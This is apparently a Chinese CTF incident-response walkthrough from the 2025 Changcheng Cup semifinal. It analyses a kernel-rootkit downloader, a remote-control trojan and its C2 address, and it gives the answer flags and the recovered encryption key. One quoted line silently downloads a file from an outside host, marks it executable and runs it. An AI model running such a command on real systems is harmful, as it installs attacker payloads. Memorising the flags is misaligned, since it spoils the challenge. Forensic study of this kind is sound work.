2025长城杯国赛半决赛 应急响应

小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取 flag 文件。

1.

题目1:找出主机上木马回连的主控端服务器IP地址[不定时(3~5分钟)周期性],并以flag{MD5}形式提交,其中MD5加密目标的原始字符串格式IP:port。

flag{59110f555b5e5cd0a8713a447b082d63}

rstudio扫描镜像,在/home/ubuntu下发现了名为1.txt的文件(差评美亚的手机大师next,没有恢复出来这个文件的内容,火眼可以)

image-20250820171756884

http://mirror.unknownrepo.net/f/l/a/g/system_upgrade静默下载了system_upgrade文件,到/tmp下,结合题目描述更新脚本,可以确定和这个有关系

按题目描述这个文件已经被删除,/tmp下已经没有这个文件了,搜搜这个文件名试试,也没搜到什么

同时在/home/ubuntu下还发现了viminfo文件

image-20250820172756023

发现对/etc/systemd/system/system-upgrade.service文件进行了操作

找到这个文件

image-20250820175638825

发现加载了/lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko这个文件

导出这个逆向分析

image-20250820195734169

发现大部分的函数名被混淆了,但是函数内容没有混淆

分析代码,这段代码是一个 Linux 内核线程函数(以 kthread_should_stop为标志),用于创建一个隐藏的后门连接服务。

然后看调用这个函数的函数

image-20250820210224760

这段代码是一个 Linux 内核模块初始化函数init_module),用于在模块加载时创建和启动两个隐藏的内核线程,实现持久化恶意操作。

继续查看ULRYvXzICzy880dO();

image-20250820210452148

这段代码是内核级 Rootkit 的初始化函数,它设置了一系列高级隐藏功能和命令控制接口。

看到了SHOW_HIDDEN_TCP_IPSHOW_HIDDEN_TCP_PORT

确定回连的服务器地址192.168.57.203:4948->flag{59110f555b5e5cd0a8713a447b082d63}

2.

题目2:找出主机上驻留的远控木马文件本体,计算该文件的MD5, 结果提交形式: flag{md5}

flag{BCCAD26B665CA175CD02ACA2903D8B1E}

去之前download_and_execute函数中看看

image-20250820215519793

其中

image-20250820215739475

image-20250820215920105

而且

image-20250820220408710

下载了/tmp/systemd-agentd给这个并且给了root权限

可以确定/tmp/systemd-agentd是恶意木马了,导出md5

image-20250820220852215

3.

题目3:找出主机上加载远控木马的持久化程序(下载者),其功能为下载并执行远控木马,计算该文件的MD5, 结果提交形式:flag{MD5}。

flag{78EDBA7CBD107EB6E3D2F90F5ECA734E}

这个就是之前找到的system-upgrade.ko文件,

image-20250820221251266

4.

题目4:查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5}。

flag{9729aaace6c83b11b17b6bc3b340d00b}

找到它的植入痕迹,就是之前的1.txt中的

1
wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade

.system_upgradeMD5

5.

题目5:分析题目2中找到的远控木马,获取木马通信加密密钥, 结果提交形式:flag{通信加密密钥}。

flag{ThIS_1S_th3_S3cR3t_fl@g}

逆向分析systemd-agentd

image-20250820223009209

image-20250820223113167

image-20250820223127887

image-20250820223136037

得到通信加密密钥

image-20250820222857611